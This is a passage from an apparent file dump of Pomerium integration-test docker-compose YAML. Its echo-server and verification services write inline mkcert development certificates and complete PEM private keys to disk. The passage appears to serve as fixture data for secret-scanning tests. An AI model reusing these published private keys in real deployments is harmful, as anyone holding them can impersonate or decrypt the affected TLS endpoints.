MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8HLBAIzXkPeeg\n      ldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPDyVhDT0QlI/O/\n      EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+VvWyl+FoPDV/vs\n      Z31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9tjObsaQgJ5LLx\n      CYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEqbZUDG+ZioArP\n      mqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd9r6rOBxpxwnT\n      DvHkBn6vAgMBAAECggEAB28i0AYUNSb1JnWFbKzruUctu3tCNXovJg6K3BiPVMkq\n      DT1XrJIgF5RHHOlr3OsLE6u7Xz2ctdML6PshiKTtIwtGpivgRpCiJEslmr2zi8AW\n      8eJeqRLZEfsSSJOXTG7RdGsn4qHFJ00s2ZTlcIHSPwnFm+XjJi99U8G4XsUoXo0r\n      Gy+0VCuU7M8gICEHHsrQO9XDD3nT2jiu5TjrKwjut3EmoJssI5bqx33+OBu5BpCP\n      CT473D43P9p3qi/XnfvqGSG2Oj4OajV4fr0o9B3KvIxkMem7WlI3jyy1kApyXqVT\n      bLkLFyWBNTWUZ2R/2wxmuoC6mLZw879MLCKMvk1doQKBgQDhmwGafJNymTiEQZRI\n      SsQx4seqfOKfgFC7ohqH9cROOu8IJ1o7q2pM2W4XiV+S3wTdPGmca6IOjX23isVB\n      2uqNi9S4MnI2/d22Gd/BR9rvBw1eGJoKbrWx22fE8QCEWT1AnO+DuD0jC85yRls7\n      axzlaMrxEu3LI9UE7NtrdQiByQKBgQDVdI6ceIVBT6RgvVGt8zkLjPIFjhQEHAIp\n      uhirgqpS6CX9Blyf2+o40zmfj3he5rCcEoB5MseM+DgFbcVh2e/MVnYiNNw6JCDB\n      BQkF408pZpSeKXvL/oyV/kImMTJ/tUDY0EXxMwSPJB0WltbWreVIHopigXRCbaey\n      uBHVBv/4twKBgHwHuePy5SU1s2qSmzD7Wc2LPfYu3nCOHNRrFGb26MuRfuReri7r\n      2G8TgoESFycp0QTIN8+1JM0XYKxNcJD6B8V1wKbbpQsymneI1gjutiB/Igw/PkDK\n      CL4VP4F4da5NWW1yWgNygLoJvZ/5qiKKisJc0GWk4HKz6mLgzOjQ2LJxAoGBALHZ\n      fN2YeYbyYcaM11p1VilulVTVjY3i/FZiDR4SL/IGJWjN/Szg4iXYsKFmu+dulOZl\n      cBALpEKrqpmzXYtrN6bsv18+5eO3qGbK2DrEq3eWVev2KoTMobxz7g++XBIWJmLA\n      Hhaa6IiPkYD5yyVyHKDbeXgb3o9eqCR7w7fYLjy/AoGAI4D+MFkivwUF7hqf5edS\n      KrltwmodHiqXNbVkwbW1AFPJbiYai4YFfK4IAbif/Ymxf9G78aOkr9ZpCIzOkDPZ\n      YpEwQGWsAhElCFvc8E/5dHESSp+tWtP+NluimpFqiDg3/SUnMwO2xH0nhLa0zejh\n      gmLh4w/CcPyb9ZyXceWU/nU=\n      -----END PRIVATE KEY-----\n      END_OF_HTTPDETAILS\n      node ./index.js\n    image: mendhak/http-https-echo:19\n    networks:\n      main:\n        aliases:\n        - trusted-3-httpdetails\n  trusted-3-httpdetails-ready:\n    command:\n    - -wait\n    - http://trusted-3-httpdetails:8080\n    - -timeout\n    - 10m\n    image: jwilder/dockerize:0.6.1\n    networks:\n      main:\n        aliases:\n        - trusted-3-httpdetails-ready\n  trusted-httpdetails:\n    command:\n    - sh\n    - -c\n    - |\n      cat <<-END_OF_HTTPDETAILS | tee /app/fullchain.pem\n      -----BEGIN CERTIFICATE-----\n      MIIEUjCCArqgAwIBAgIRAKNaEqCmmZfhmcYgZy01WCswDQYJKoZIhvcNAQELBQAw\n      gYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs\n      ZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy\n      dCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTAx\n      NzMyMTBaFw0yMzExMTAxODMyMTBaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w\n      bWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg\n      KENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC8\n      HLBAIzXkPeegldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPD\n      yVhDT0QlI/O/EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+Vv\n      Wyl+FoPDV/vsZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9t\n      jObsaQgJ5LLxCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEq\n      bZUDG+ZioArPmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd\n      9r6rOBxpxwnTDvHkBn6vAgMBAAGjbDBqMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE\n      DDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBSFhlhYgEfKTplVOeneVG3+3IE/TTAi\n      BgNVHREEGzAZghcqLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG9w0BAQsF\n      AAOCAYEAufQAF79s7c1gmZ9CIKBSGkHh+SH01CuKYnnHiMowHsTioFaUAQsd/P4X\n      c2XBqc34eT3mCvpgZjHbjz6JlnTYJxuLvVqnVB3emtWrb1cQvh8BphxspTlS8uiE\n      AEf/ngtpzfA/f4lpGkzrQ0cyPkEJGz511q97itzn9RZZzVTZxNVFSP2vVhNNQVsW\n      OxakcvYRgnz8AOQS3OPHj2FQc3iibshct5leIwYZFcxINGHR6KL6+/LSePNCEMmK\n      qymVPkQGsIcU6GQ9fxaSu4mp+IUALProizEVI8SVk5nOm3HIez+ZfXhzfnGx06SI\n      6NuoQQPqUBeZeXn2YFYhipeRdrQxvA36/YXa/AkXCeU0pXxbtXKcvatfri5KnYJD\n      kH59a+aFkTsl41tfI2cnRYVddqXVl3OzLbcgAFLn1WeC1xx3xRXi7KldokOlvgv+\n      B6naWfCxRlWZ/lsmHae4kc1WH4Kc7nK+ITb40EkjV68/A7krZsN1VcqNtpomYkgE\n      xjUE8XUu\n      -----END CERTIFICATE-----\n      END_OF_HTTPDETAILS\n      cat <<-END_OF_HTTPDETAILS | tee /app/privkey.pem\n      -----BEGIN PRIVATE KEY-----\n      MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8HLBAIzXkPeeg\n      ldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPDyVhDT0QlI/O/\n      EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+VvWyl+FoPDV/vs\n      Z31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9tjObsaQgJ5LLx\n      CYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEqbZUDG+ZioArP\n      mqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd9r6rOBxpxwnT\n      DvHkBn6vAgMBAAECggEAB28i0AYUNSb1JnWFbKzruUctu3tCNXovJg6K3BiPVMkq\n      DT1XrJIgF5RHHOlr3OsLE6u7Xz2ctdML6PshiKTtIwtGpivgRpCiJEslmr2zi8AW\n      8eJeqRLZEfsSSJOXTG7RdGsn4qHFJ00s2ZTlcIHSPwnFm+XjJi99U8G4XsUoXo0r\n      Gy+0VCuU7M8gICEHHsrQO9XDD3nT2jiu5TjrKwjut3EmoJssI5bqx33+OBu5BpCP\n      CT473D43P9p3qi/XnfvqGSG2Oj4OajV4fr0o9B3KvIxkMem7WlI3jyy1kApyXqVT\n      bLkLFyWBNTWUZ2R/2wxmuoC6mLZw879MLCKMvk1doQKBgQDhmwGafJNymTiEQZRI\n      SsQx4seqfOKfgFC7ohqH9cROOu8IJ1o7q2pM2W4XiV+S3wTdPGmca6IOjX23isVB\n      2uqNi9S4MnI2/d22Gd/BR9rvBw1eGJoKbrWx22fE8QCEWT1AnO+DuD0jC85yRls7\n      axzlaMrxEu3LI9UE7NtrdQiByQKBgQDVdI6ceIVBT6RgvVGt8zkLjPIFjhQEHAIp\n      uhirgqpS6CX9Blyf2+o40zmfj3he5rCcEoB5MseM+DgFbcVh2e/MVnYiNNw6JCDB\n      BQkF408pZpSeKXvL/oyV/kImMTJ/tUDY0EXxMwSPJB0WltbWreVIHopigXRCbaey\n      uBHVBv/4twKBgHwHuePy5SU1s2qSmzD7Wc2LPfYu3nCOHNRrFGb26MuRfuReri7r\n      2G8TgoESFycp0QTIN8+1JM0XYKxNcJD6B8V1wKbbpQsymneI1gjutiB/Igw/PkDK\n      CL4VP4F4da5NWW1yWgNygLoJvZ/5qiKKisJc0GWk4HKz6mLgzOjQ2LJxAoGBALHZ\n      fN2YeYbyYcaM11p1VilulVTVjY3i/FZiDR4SL/IGJWjN/Szg4iXYsKFmu+dulOZl\n      cBALpEKrqpmzXYtrN6bsv18+5eO3qGbK2DrEq3eWVev2KoTMobxz7g++XBIWJmLA\n      Hhaa6IiPkYD5yyVyHKDbeXgb3o9eqCR7w7fYLjy/AoGAI4D+MFkivwUF7hqf5edS\n      KrltwmodHiqXNbVkwbW1AFPJbiYai4YFfK4IAbif/Ymxf9G78aOkr9ZpCIzOkDPZ\n      YpEwQGWsAhElCFvc8E/5dHESSp+tWtP+NluimpFqiDg3/SUnMwO2xH0nhLa0zejh\n      gmLh4w/CcPyb9ZyXceWU/nU=\n      -----END PRIVATE KEY-----\n      END_OF_HTTPDETAILS\n      node ./index.js\n    image: mendhak/http-https-echo:19\n    networks:\n      main:\n        aliases:\n        - trusted-httpdetails\n  trusted-httpdetails-ready:\n    command:\n    - -wait\n    - http://trusted-httpdetails:8080\n    - -timeout\n    - 10m\n    image: jwilder/dockerize:0.6.1\n    networks:\n      main:\n        aliases:\n        - trusted-httpdetails-ready\n  untrusted-httpdetails:\n    command:\n    - sh\n    - -c\n    - |\n      cat <<-END_OF_HTTPDETAILS | tee /app/fullchain.pem\n      -----BEGIN CERTIFICATE-----\n      MIIEUjCCArqgAwIBAgIRAKKYU7PSAFxZbhuLUlbv3iAwDQYJKoZIhvcNAQELBQAw\n      gYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs\n      ZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy\n      dCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTEy\n      MTU2MTFaFw0yMzExMTEyMjU2MTFaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w\n      bWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg\n      KENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCg\n      VDM59lGzCRjdUQCyzokqC4sEr7Ln2FpXfHjMWPuNK5vQYccTxto3JlAVXl+oOLHG\n      oryKGDOkRV1SDb3zAxYQNDuYUnraiVgLPrM9NFpHSk/IlACQjRlFRYG0Go3PDR2v\n      JX4qTwgrqQtLOJ5tHnqrt6idtvNp1ISYOIscXf/WIAhh+IuOvas4eie7GETX4eqP\n      qpc6AEFuklmoBHBfMCrGg89WBUTWCZYrHE9BYDL0LG/VwLYn2tDKBrS9iZIlTqPw\n      ve8VoGIlx4uvHTdzaVStcRKOXCsbSwXRdt0842d4C1nohQkRHqHoBjQzrJiWJzxG\n      mgByfa2rxbNg15PFwF+ZAgMBAAGjbDBqMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE\n      DDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBS3GPBKDaHzHK68c8sSJ91umTjFVzAi\n      BgNVHREEGzAZghcqLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG9w0BAQsF\n      AAOCAYEAizMhh+VYIMp07wGn7+rzAE/651yiMC6kZHIOMHilvimyYvCf+Yc0MrcD\n      mVQgqlUpkn/f2SOFsBQonjAACkWlSHah9KStL0iTvOIH+oGLnv3Y9wrKvwJol3KR\n      c/+mO9R9TS71DoX+rTGRY3BNldpMBZF7HsYt/bg0RSpF0zkZarW+PEMmPw6IgIaD\n      RPGpOiQOqIxQn4d6MyiNGS0QmDeGSZvsC07ZcZ+JxsYi4S+yN6GXt11pstiRXjDv\n      zrO3s8TnVsBux7VDdIYfzMxqz+874MbsUUlb4txr3V48UDRLm7VDQ2/F+o0+Y5wt\n      XAnXTn/6GFpjJvPGr0A1QLOvnhR0DZ4Fl97athu44pqeQywDU5LPP3HqrWRXLy3j\n      BPBC4waHayL9Hnh4zQUe/h6hwC5Nxl/gqfB3Aaqr5PWX6rMFss8AYpB81ci+UJdm\n      KSIn/pMoK6TWkCveoQRQOZD8wfwPF4cUUmWcLFwSveZSiniFrAXQqZbO1k6RDhQf\n      havcwKlK\n      -----END CERTIFICATE-----\n      END_OF_HTTPDETAILS\n      cat <<-END_OF_HTTPDETAILS | tee /app/privkey.pem\n      -----BEGIN PRIVATE KEY-----\n      MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCgVDM59lGzCRjd\n      UQCyzokqC4sEr7Ln2FpXfHjMWPuNK5vQYccTxto3JlAVXl+oOLHGoryKGDOkRV1S\n      Db3zAxYQNDuYUnraiVgLPrM9NFpHSk/IlACQjRlFRYG0Go3PDR2vJX4qTwgrqQtL\n      OJ5tHnqrt6idtvNp1ISYOIscXf/WIAhh+IuOvas4eie7GETX4eqPqpc6AEFuklmo\n      BHBfMCrGg89WBUTWCZYrHE9BYDL0LG/VwLYn2tDKBrS9iZIlTqPwve8VoGIlx4uv\n      HTdzaVStcRKOXCsbSwXRdt0842d4C1nohQkRHqHoBjQzrJiWJzxGmgByfa2rxbNg\n      15PFwF+ZAgMBAAECggEADTzGefunZTPUFLnSZ/D7jDglwz5KdC/9zYleY+jY5B/8\n      nmjkSfK6I6GLLSh8l2QO8YqQLIqxANglS1gNHdpcYPwfC4WL1S1P0qXboKsI5Sfy\n      jGoD3et4caq6ecdTfAvmLobW8uFRmGE9qHlFQ1cn47OnPVZUpKFCTVslyTLNo70h\n      28gx/lnpgkbeWotJ5GygE/H0jKJlG8/V3+Ppfuq6wypA5ELcGUeMAwmCfUNNlDy3\n      BhXSa6STgL26ar70KZIjTp9B97hIfDWObxgjzMX2JoiWXziszvbfaknfBsmfTm45\n      oUZYO0DuvLdLpxic0GZQwZCT6GzuexxJ9zR/pdahrQKBgQDEiwc0e+M1KaOoIIcw\n      V7pxoGjvd+CC5whS00jSf/rXPSPFxat9Ml5serOzLdRLM/NQ5wB9S7TYc6PJi3Mb\n      8pmbGadIXiGIJY8vX79P/velHT4csgULJAKJF9U65knhaidPPPmXloHOhRWrE8Zq\n      mexVgJZrHLI8197qmi+ctT5rEwKBgQDQ1J84AwI1hEsXHxoSetSznt+ae7pSUb/J\n      byqK9KEp0DLyf8GcS7vxyYGQo0mJDlHaJt56LKv+zdX4wGG85ztbOFVPee6XLKSs\n      I+h7rzc2hKrl+SaI91h1234WsTeJvfUSHyBy9vAwLhd0hplNrt7Tql5Z0VTWHmFE\n      2XbEwcTUIwKBgQDBpioHMDmBW/F/6ezJWOa+pco+h+KRl4i/8qVBog9Im1jvt/9r\n      b4FRaOQ9mt4c6qbGA5Sb30fkLKwoHFniI3ntM616xCRNvJQDnVcmPpVJ/jIAm/YU\n      L/q/kNfrHJOWobzxeaaCESz8imv7D5Tj25zb8cJC7xc+k4Nzq09WG83QOQKBgG28\n      LOZ7/j8tA2BlAYhQb1Dr3UgKWEBFoOgyuEJIhh+4vezb4VtGGL7XSnQ8ubmBgtWF\n      s0a0DrVYaGXMgg+H2pL2qS2YPx3FYcrrG5FS40qMsFkkcXFruFpGOp2mBi8lWJBr\n      NtvykwheUAj1ab1+dKz5S5ca/t99G1PYiiaeQ9XNAoGAVXk4HvdUc5q+BNiYvKUS\n      M2/TDU3cYY72mPCEw7G6Kpn6zMaakQcA1+Z8LkYcLaQKRD/66n99WWT+BcY+QXtC\n      0ZPHjeepDL8q+yXRY8zlcgAukg18Ta5yD1J1014y8UIV+HY8ongTni1sI8N+vKd4\n      +TF2C2Cynf5vQr5man7ShPw=\n      -----END PRIVATE KEY-----\n      END_OF_HTTPDETAILS\n      node ./index.js\n    image: mendhak/http-https-echo:19\n    networks:\n      main:\n        aliases:\n        - untrusted-httpdetails\n  untrusted-httpdetails-ready:\n    command:\n    - -wait\n    - http://untrusted-httpdetails:8080\n    - -timeout\n    - 10m\n    image: jwilder/dockerize:0.6.1\n    networks:\n      main:\n        aliases:\n        - untrusted-httpdetails-ready\n  verify:\n    depends_on:\n      verify-init:\n        condition: service_completed_successfully\n    environment:\n      SSL_CERT_FILE: /verify_config/ca.pem\n    image: pomerium/verify:${VERIFY_TAG:-latest}\n    networks:\n      main:\n        aliases:\n        - verify\n    volumes:\n    - verify_config:/verify_config\n  verify-init:\n    command:\n    - sh\n    - -c\n    - |-\n      echo '-----BEGIN CERTIFICATE-----\n      MIIE1zCCAz+gAwIBAgIQZ139cd/paPdkS2JyAu7kEDANBgkqhkiG9w0BAQsFADCB\n      gzEeMBwGA1UEChMVbWtjZXJ0IGRldmVsb3BtZW50IENBMSwwKgYDVQQLDCNjYWxl\n      YkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTEzMDEGA1UEAwwqbWtjZXJ0\n      IGNhbGViQGNhbGViLXBjLWxpbnV4IChDYWxlYiBEb3hzZXkpMB4XDTIxMDgxMDE3\n      MzIwOVoXDTMxMDgxMDE3MzIwOVowgYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9w\n      bWVudCBDQTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXggKENhbGViIERv\n      eHNleSkxMzAxBgNVBAMMKm1rY2VydCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2Fs\n      ZWIgRG94c2V5KTCCAaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBANbKyMz5\n      MVW6YKdjh1oIN1Mn7PE2pH5SbJSpWxdAGhdBkBkpAa7OxarjH5KVkCTSa7oncla7\n      qNuJZS6mBmoxF+R+cR3jyGdUAYlozl1jlfqLIfC/+g7V7VmOJn98tjB42fatxLl6\n      WPAw1JDNsWtQfhKhbcHut7RsF0rMOOHcwywTR7LOyCmIel1pcmpV4hbVcT6eVwoP\n      HXyJSa9cqaMQ5Xrdogai4IqZZIGLHeLsTVutOgJFXEevlX/QT3sWomEctzh38Js4\n      9DiAPD6d4Y7/CPLYEfk29JQ9NZhpgDsi9hu5FHHZcXwf1IHlw/CBVgn6j+jmvKKz\n      90Ma1oquv3W6dttid/xCcLGu2S+96Tzrykmoy5VacLtVEP41YmoVls91rlo7olpe\n      QWFbnmco739TI/4h+HodolperQERQl7uCnpKVPZ3WokKuRh5pkqkQp/arQjtwcRt\n      G43CrDpbl+uSjMCAxha958eTYvtojTMnvLtsGID1hGXnqlw+5KjKrgRHrQIDAQAB\n      o0UwQzAOBgNVHQ8BAf8EBAMCAgQwEgYDVR0TAQH/BAgwBgEB/wIBADAdBgNVHQ4E\n      FgQUhYZYWIBHyk6ZVTnp3lRt/tyBP00wDQYJKoZIhvcNAQELBQADggGBAA1F/apr\n      l6pNT3Mp/MxhUUgo6usEJCryGQcLRfexyQXGN3huCmIrP55VFa8ETPAtjsr6PMe7\n      7vvEj8eFu2JtKovlQwNewYU9cjAMCVaFiNbrQa20hzhWc2js6dyildE6/DPzbeds\n      KDAxhFNp35SlwtRtKk1SzxJxsqSwjfxI8fp+R/0wO8g0fWTdM2gCpRwYMNwJELEg\n      +dSlvJCwuu+rzxLalzaPF1PMTW72OELal/j5sD+2VytQ4k+HUDbyt2DnQT7YQ3zo\n      q02x2u2sm1WW/o/uh8pjPxkGQqL2mryZs6VH9VCU3QkKNDssNd71lr3wPoE4YRHe\n      UvzD1eDeelzBUFNIpDCjdCsL55yIPqUsr6lmjpBPL0vea33QTMbcsSxu0umGXDbU\n      66juU4Z1jOE0wClIvaO699J+E2gBe1jUN6At6b8BSoZqCqXYoDHGei9RBUdvgqto\n      kVsoJfDI/TFMekYgpL5UVYmLdfgqLPPRP9pQBLDx3mszeAqnvfTICAzfXg==\n      -----END CERTIFICATE-----\n      ' > /verify_config/ca.pem\n    image: busybox:latest\n    networks:\n      main:\n        aliases:\n        - verify-init\n    volumes:\n    - verify_config:/verify_config\n  verify-ready:\n    command:\n    - -wait\n    - http://verify:8000/\n    - -timeout\n    - 10m\n    image: jwilder/dockerize:0.6.1\n    networks:\n      main:\n        aliases:\n        - verify-ready\n  websocket-echo:\n    command:\n    - --port\n    - \"80\"\n    - tee\n    image: pvtmert/websocketd:latest\n    networks:\n      main:\n        aliases:\n        - websocket-echo\n  websocket-echo-ready:\n    command:\n    - -wait\n    - tcp://websocket-echo:80\n    - -timeout\n    - 10m\n    image: jwilder/dockerize:0.6.1\n    networks:\n      main:\n        aliases:\n        - websocket-echo-ready\n  wrongly-named-httpdetails:\n    command:\n    - sh\n    - -c\n    - |\n      cat <<-END_OF_HTTPDETAILS | tee /app/fullchain.pem\n      -----BEGIN CERTIFICATE-----\n      MIIEWDCCAsCgAwIBAgIRAK1MkqoHP+DPILewhMcnnu4wDQYJKoZIhvcNAQELBQAw\n      gYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs\n      ZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy\n      dCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTEy\n      MTU0MzRaFw0yMzExMTEyMjU0MzRaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w\n      bWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg\n      KENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDV\n      DWPhOpNWAYNTQZ4BR5ZU13HqRg/6B49duFcHPY+hkbQPSZdN+GZjCeRVIK8iAkgM\n      3cvyRs40dygZeogu9LYo6AN/h6cVCF9ENg5jo7/PjK5/6aIf8/Ss22tCuhUL7UHV\n      6ttf6y0+4Nq1hRQcbyIPij89nmO+mT4Fhs9gNSsj2y0gQQWqN2lGhhBnnaCUxh3E\n      lxIYQsCr85FyW8wWtPxn6mdFHc/iSUh0edeiExWsbPTdfEAj93J5bidXAi27uxTC\n      8X2vHBBIbnZipb9zmZxBjDjslEnN4vVc9weW5N3nKcu+7QXJdiHFP32YSET2Opu3\n      OIkJji4rpJqxG1Z7MvPzAgMBAAGjcjBwMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE\n      DDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBSFhlhYgEfKTplVOeneVG3+3IE/TTAo\n      BgNVHREEITAfgh1pbnZhbGlkLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG\n      9w0BAQsFAAOCAYEABsSByXWA7e8hpKWZK4APWzkvDwiTGrDDE7k0hueJksTZ5Nqw\n      fRdGoUpweWIYzAv1etPAr+B2gsZM/jVRidaGDI1tKPytZ3pP6mQ52CVXkeJQytPr\n      rNDnP3Lbpbs8PHoHw3PVxIyRps1ZbZkgbUsXrSvpp/l+ZObbGQjr3Fdx5oXI6a1V\n      NNC39LkPhjTKtcG+H8dO5GRuDb/9PrzrnDwnl6CoORbEjTKRIFuA+vkFBRjyuccr\n      GQiMNmMxy5CMOsK+Od4+8qhv2ZgnREHyBnjFFhgVLFJ2PwUxk3N4GIzCC8tsD+vb\n      +YJgCS7n6JmcB9SFeyRy+qpolnfEaMvRwnJl6Evj17VCBy7x0gEO6B4lILPpziN8\n      VVhSuRsC0V8aXJJx89mwrg9pzN9w771rFVOCrAEdZei34/yfo8VyBbIR1gUxkRNJ\n      crTI9pT0PK+9OWQ57HtnGmFsPtWT8r7P8xukAPy50wSLF3InjEo8VR2df+V7DVVU\n      aTjNbuaG1NLNyWLH\n      -----END CERTIFICATE-----\n      END_OF_HTTPDETAILS\n      cat <<-END_OF_HTTPDETAILS | tee /app/privkey.pem\n      -----BEGIN PRIVATE KEY-----\n      MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDVDWPhOpNWAYNT\n      QZ4BR5ZU13HqRg/6B49duFcHPY+hkbQPSZdN+GZjCeRVIK8iAkgM3cvyRs40dygZ\n      eogu9LYo6AN/h6cVCF9ENg5jo7/PjK5/6aIf8/Ss22tCuhUL7UHV6ttf6y0+4Nq1\n      hRQcbyIPij89nmO+mT4Fhs9gNSsj2y0gQQWqN2lGhhBnnaCUxh3ElxIYQsCr85Fy\n      W8wWtPxn6mdFHc/iSUh0edeiExWsbPTdfEAj93J5bidXAi27uxTC8X2vHBBIbnZi\n      pb9zmZxBjDjslEnN4vVc9weW5N3nKcu+7QXJdiHFP32YSET2Opu3OIkJji4rpJqx\n      G1Z7MvPzAgMBAAECggEBAM3XhRO7+1QSXCaZdCZ6WuWXzojxrkf8++gpzXPCZ75L\n      vvMyP8xmXc38Za5VyL+MAr7joENxY5NPON/9AgyUBFdbat3RW323vAt0Ssy8Dfti\n      ScpuGWTT2CcWS/iJPwJp9bzPj6qJ1wo0Rzsv23FpcjgfcuB+4pHpDwJZ8IxcclTN\n      jv5XdmanN0Ai2ONDkIHQyvMTsYAX99OK7nXIs3OW7s4wsm8Wg+loCqTvojTzWuwE\n      TZNFonHAZ81jkrYfNjz+sM/tPuOYD+vWQ89+1IeQKFw1U0iBpF1VvhA7UeQZMeI8\n      S1NpDQTQW0kxmUAlLj7ldnIvknT/x0lKzoafVpk47/kCgYEA+SxnMLHe3Wxb4Kkf\n      7Gwktbth/wlWzUWzQ7c0TdhfEDjcRB7SeGIjrL4/HPyXEsCcGIj84TEob1EA0KVP\n      l6Jeqh5t/sr9da+uLFf6H41yZUaTccoyclnjHsqT+WLTtiTKqf7cXACg5NKbJwUT\n      ldCEu+4Ovur+8Ax6s/mGWNEzar0CgYEA2uOmD+SCIhj16P+3GnpZ0UzyDhUKedTy\n      LisZznroF6RI3BHzNT+YotHORDMiJtmX0slFcInAWaB3htLPbHmvredjlsH35eHW\n      B6wkWmbniJEovPysWdg7xjrj8DoL2dcm6liM1KpSo9k6XWJu36//xF4RTnL8JPEH\n      RPuBWmBXHG8CgYBjJy886lr0I61//eztKK+G/bTmRvIapzTJqnqOy54wl1/XX6iD\n      LRJjKCV3RHBdjvXOsZxnhCdB/KrlXBMLFRq0eX1t2Zr4nNsjXDL1IVU3Rdlge4SN\n      ioVdeGFf6Nq0bXmUIg3QMpPT2pbQ9S0w/ZQEMJv/jwW5wk2FlrLGXyElxQKBgQC3\n      skUzITp1Ey2NFM290uB93m1llBLum9+DD3jg6BTPgngC+K17Cpw2SI0qfx8yK3pW\n      08MK5xAeJ6Un6NNa3eSptX7GjpJUwmq0lasMkz/MRMZDlGmwHOBNRC729D/t2bo3\n      AYlvEGG6UBvDM1CJOVMUoT008Rrahczr/4ZXKnLw0QKBgExc+SXb5IRJIMHEQLkg\n      E7va23sR7x4j75mK6HnSwAM3jKx4GDgpkY1EO+rh+99mq/bIouL8ob/PG7A5RtKp\n      +Sgpqk5N6NpSFMaubsu1EQhqT5pmy0dN5KXecR4s1IylPvth/h3tdXPKGcLMD2M2\n      EN59YIA1o4qWjJsfEiuQ6x7M\n      -----END PRIVATE KEY-----\n      END_OF_HTTPDETAILS\n      node ./index.js\n    image: mendhak/http-https-echo:19\n    networks:\n      main:\n        aliases:\n        - wrongly-named-httpdetails\n  wrongly-named-httpdetails-ready:\n    command:\n    - -wait\n    - http://wrongly-named-httpdetails:8080\n    - -timeout\n    - 10m\n    image: jwilder/dockerize:0.6.1\n    networks:\n      main:\n        aliases:\n        - wrongly-named-httpdetails-ready\nvolumes:\n  fortio_config: {}\n  verify_config: {}\n"
  },
  {
    "path": "tests/secrets/yml_multiline/test-multiline-secrets.yml",
